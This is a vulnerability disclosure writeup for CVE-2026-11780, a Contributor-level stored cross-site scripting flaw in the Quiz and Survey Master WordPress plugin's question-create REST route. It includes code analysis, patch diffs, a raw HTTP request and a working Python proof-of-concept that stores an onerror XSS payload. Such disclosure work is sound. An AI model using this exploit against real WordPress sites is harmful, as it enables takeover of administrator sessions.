Skip to content

CVE-2026-11780: Quiz and Survey Master Stored XSS via question_title

TL;DR

  • I found an authenticated stored cross-site scripting vulnerability in Quiz and Survey Master's question-create REST endpoint.
  • The update handler sanitised question_title, but the create handler a few lines above it stored the raw value.
  • QSM 11.0.0 added a Question Bank admin page that rendered every stored title through a template using triple braces, which Underscore treats as raw HTML.
  • A Contributor could store a payload that ran in an administrator's session when they opened the Question Bank.
  • The advisory covers QSM <= 11.2.1 and was assigned CVE-2026-11780.

Summary

Quiz and Survey Master was vulnerable to authenticated stored cross-site scripting because the REST question-create handler stored question_title without sanitisation, and the Question Bank rendered that value through an Underscore template that emitted it as raw HTML.

  • CVE: CVE-2026-11780
  • Product: Quiz and Survey Master (QSM) - Quiz Maker & Survey Maker
  • Active Installs: 40,000+
  • Vulnerability: Authenticated Stored Cross-Site Scripting
  • Affected Versions: <= 11.2.1
  • Fixed In: 11.2.2
  • CVSS Severity: 6.4 (medium)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Required Privilege: Contributor+
  • NVD Published: August 16, 2026

QSM exposes its quiz editor over a REST API that any user holding the plugin's quiz-editing capability can reach, and the Contributor role gets that capability by default. Question titles written through the create route were stored exactly as submitted, then handed back to a new admin page that rendered them without escaping.

Introduction

[A]I recognised question_title immediately. CVE-2023-3575 had already covered Contributor+ stored XSS in that field, and the 8.1.11 fix escaped question titles in public results.

Then 8.1.12 reverted that output change and hardened the REST update path instead. Which raises the obvious question about the handler sitting directly above it.

QSM 11.0.0 also introduced a dedicated Question Bank page, an admin screen listing questions from every quiz on the site. A new render surface for an old field is usually worth some time 😼

Root Cause Analysis

A Contributor-Reachable Create Route

The question-create route in QSM 11.0.0 authorises on the plugin's quiz-editing capability.

// php/rest-api.php
register_rest_route(
    'quiz-survey-master/v1',
    '/questions/',
    array(
        'methods'             => WP_REST_Server::CREATABLE,
        'callback'            => 'qsm_rest_create_question',
        'permission_callback' => function () {
            return current_user_can( 'edit_qsm_quizzes' ); // [1] The only authorisation check.
        },
    )
);

QSM's role setup hands that capability to Contributors.

// mlw_quizmaster2.php
$contributor_capabilities = array(
    'read_qsm_quiz',
    'edit_qsm_quiz',
    'edit_qsm_quizzes', // [2] Granted to the Contributor role.
    'create_qsm_quizzes',
);

The grant at [2] runs on admin_menu, so a Contributor picks it up on their first visit to wp-admin and passes the check at [1] from then on.

The Same Field, Two Write Paths

qsm_rest_save_question() strips markup when updating an existing question.

// php/rest-api.php
$settings['question_title']  = sanitize_text_field( wp_strip_all_tags( html_entity_decode( $request['question_title'] ) ) ); // [3] Update path sanitises.

qsm_rest_create_question() builds the same settings array by direct assignment.

// php/rest-api.php
$settings       = array(
    'required'       => $request['required'],
    'answerEditor'   => 'text',
    'question_title' => $request['question_title'], // [4] Create path keeps the raw value.
);

[3] and [4] write the same key into the same column. Only one of them cleans it.

The question model then persists the array as-is.

// php/classes/class-qsm-questions.php
$values = array(
    // ... other question fields omitted; each is sanitised individually.
    'question_settings'    => maybe_serialize($settings), // [5] Serialises the raw title into the row.
    // ... remaining fields omitted.
);

Neighbouring fields at [5] go through sanitize_text_field() or intval() on their way in. question_settings is serialised whole, so nothing inspects the title again.

The Question Bank Hands Back the Stored Title

qsm_rest_get_bank_questions() reverses that on read.

// php/rest-api.php
$settings = maybe_unserialize( $question['question_settings'] ); // [6] Restores the stored settings.
// ... validation and category handling omitted.
$question['settings']          = $settings;
$question_data                 = array(
    // ... earlier duplicate question_title key and unrelated fields omitted.
    'question_title'          => isset( $question['settings']['question_title'] ) ? $question['settings']['question_title'] : '', // [7] Returned unchanged.
    // ... remaining response fields omitted.
);

[6] unserialises the payload back out of the column and [7] puts it straight into the response. No escaping happens on either side of the database.

Triple Braces in a Reused Template

The Question Bank page is registered with manage_options, so its normal audience is administrators. Its client is pointed at the site-wide bank endpoint at [8], which draws from every quiz on the site.

// php/admin/question-bank-page.php
$localized = array(
    'restUrl'       => esc_url_raw( rest_url( 'quiz-survey-master/v1/bank_questions/0/' ) ), // [8] Questions from all quizzes.
    // ... nonce, filters and other client settings omitted.
);

At [9] the page resolves tmpl-question, the template the quiz editor already used.

// js/qsm-question-bank.js
return wp.template("question"); // [9] Reuses tmpl-question.

buildQuestion() prefers the stored title over the question name and renders it.

// js/qsm-question-bank.js
const id = parseInt(question.id, 10) || "";
const questionMarkup = question.question_title || question.name || pageData.i18n.questionPlaceholder; // [10] Stored title wins.
const category = question.category || "";
const type = question.type || "";
const templateData = {
    id,
    type,
    question: questionMarkup, // [11] Becomes data.question.
    category,
};

const $node = $(this.template(templateData)); // [12] Renders it.

The title selected at [10] becomes data.question at [11] and reaches the template at [12]. That template interpolates it with three braces.

<div class="question-content-text">{{{data.question}}}</div>

Underscore templates, which is what wp.template() builds, escape {{ }} and print {{{ }}} as raw HTML. The category on the line below uses two braces. The question title uses three, so <img src=x onerror=alert(document.domain)> is parsed as an element and its handler fires.

Impact

Arbitrary JavaScript runs in the browser of an administrator loading the Question Bank. The page sits in wp-admin, so the payload is same-origin with the REST API, can read a wp_rest nonce from the page it landed on, and can create a new administrator account.

Nothing executes until a privileged user opens that page. A Contributor cannot reach it themselves, and the bank lists questions from every quiz, so any poisoned title on the site is waiting there.

Exploitation

Preconditions

  • QSM <= 11.2.1 is active and the attacker holds a Contributor account.
  • The attacker has loaded wp-admin at least once, so QSM has granted the role its capabilities.
  • An administrator later opens the Question Bank page.

Manual Request

The create route takes JSON and a standard wp_rest nonce, which any logged-in user can fetch from admin-ajax.php?action=rest-nonce.

POST /index.php?rest_route=/quiz-survey-master/v1/questions/ HTTP/1.1
Host: target.example
Cookie: wordpress_logged_in_...=<contributor session>
X-WP-Nonce: <wp_rest nonce>
Content-Type: application/json

{"quizID":0,"type":"0","name":"CVE-2026-11780","answerInfo":"","comments":"0","hint":"","category":"","multicategories":[],"merged_question":"","is_linking":"0","required":"0","answers":[],"question_title":"<img src=x onerror=alert(document.domain)>"}

The response returns the new question ID. quizID of 0 keeps the question out of any quiz while still listing it in the bank.

PoC

The PoC accompanying this writeup logs in as a Contributor, collects the nonce, and stores the payload:

#!/usr/bin/env python3
import argparse

import requests

parser = argparse.ArgumentParser(description="CVE-2026-11780 QSM stored XSS PoC")
parser.add_argument("url", help="WordPress base URL")
parser.add_argument("username")
parser.add_argument("password")
args = parser.parse_args()

base = args.url.rstrip("/")
session = requests.Session()
session.get(f"{base}/wp-login.php", timeout=15).raise_for_status()

response = session.post(f"{base}/wp-login.php", data={
    "log": args.username,
    "pwd": args.password,
    "wp-submit": "Log In",
    "redirect_to": f"{base}/wp-admin/",
    "testcookie": "1",
}, timeout=15)
response.raise_for_status()
if not any(c.name.startswith("wordpress_logged_in_") for c in session.cookies):
    raise SystemExit("Login failed")

response = session.get(
    f"{base}/wp-admin/admin-ajax.php",
    params={"action": "rest-nonce"},
    timeout=15,
)
response.raise_for_status()
nonce = response.text.strip()
if nonce in {"", "0", "-1"}:
    raise SystemExit("Could not retrieve a REST nonce")

question = {
    "quizID": 0, "type": "0", "name": "CVE-2026-11780",
    "answerInfo": "", "comments": "0", "hint": "", "category": "",
    "multicategories": [], "merged_question": "", "is_linking": "0",
    "required": "0", "answers": [],
    "question_title": '<img src=x onerror="alert(document.domain)">',
}
response = session.post(
    f"{base}/index.php?rest_route=/quiz-survey-master/v1/questions/",
    headers={"X-WP-Nonce": nonce},
    json=question,
    timeout=15,
)
response.raise_for_status()
result = response.json()
question_id = result.get("id")
if result.get("status") != "success" or not question_id:
    raise SystemExit(f"Exploit failed: {result}")

print(f"[+] Question ID: {question_id}")
print(f"[+] Admin trigger: {base}/wp-admin/admin.php?page=qsm_question_bank")

Running it against a local instance:

python3 qsm-xss-question-title-create.py http://localhost:8090 contributor 'contributor123'
[+] Question ID: 1
[+] Admin trigger: http://localhost:8090/wp-admin/admin.php?page=qsm_question_bank

The question row now holds the payload exactly as it was submitted:

a:3:{s:8:"required";s:1:"0";s:12:"answerEditor";s:4:"text";s:14:"question_title";s:44:"<img src=x onerror="alert(document.domain)">";}

The PoC stops at storage. Execution begins when an administrator opens the Question Bank.

Demo

Requesting the bank endpoint as an administrator returns the title with its markup intact:

"question_title": "<img src=x onerror=\"alert(document.domain)\">"

alert(document.domain) firing in the administrator's browser on the QSM Question Bank page

Patch Diffing

The vendor fixed this at both ends, across two releases.

Revision 3589770, shipped in 11.2.0, switched the template to escaped interpolation.

// php/admin/options-page-questions-tab.php
 <div class="question-content-text">
-   {{{data.question}}}
+   {{data.question}}
 </div>

The same changeset does this for the other {{{data.question}}} sink in that file, the one the quiz editor's own question bank modal used. After 11.2.0 there are no triple-brace question sinks left in the plugin.

Revision 3608310, shipped in 11.2.1, gave the create handler the update handler's sanitisation.

// php/rest-api.php
 $settings       = array(
    'required'       => $request['required'],
    'answerEditor'   => 'text',
-   'question_title' => $request['question_title'],
+   'question_title' => sanitize_text_field( wp_strip_all_tags( html_entity_decode( $request['question_title'] ) ) ),
 );

Output escaping closes this render path, and that landed in 11.2.0. The input fix in 11.2.1 stops new titles carrying markup into the database in the first place. Wordfence lists 11.2.2 as the fixed version.

Remediation

Update QSM to 11.2.2 or later.

The output fix applies at render time, so a title stored by a vulnerable release displays as text after updating. The raw value stays in question_settings until that question is edited, so sites that ran an affected version should still check existing question titles for markup and review administrator accounts.

Disclosure Timeline

  • April 4, 2026: Submitted to the Wordfence bug bounty program.
  • May 29, 2026: Triage started.
  • June 9, 2026: Report validated (out of scope) and CVE-2026-11780 assigned.
  • July 18, 2026: QSM 11.2.2 released, the version Wordfence lists as patched.
  • August 15, 2026: Published by Wordfence as CVE-2026-11780.
  • August 16, 2026: Indexed by NVD.

Conclusion

CVE-2023-3575 was fixed in the update handler. The create handler sat directly above it in the same file, writing the same key into the same column, and kept the raw value for another three years.

The Question Bank reused a template that printed question titles as raw HTML, and pointed it at every quiz on the site.

References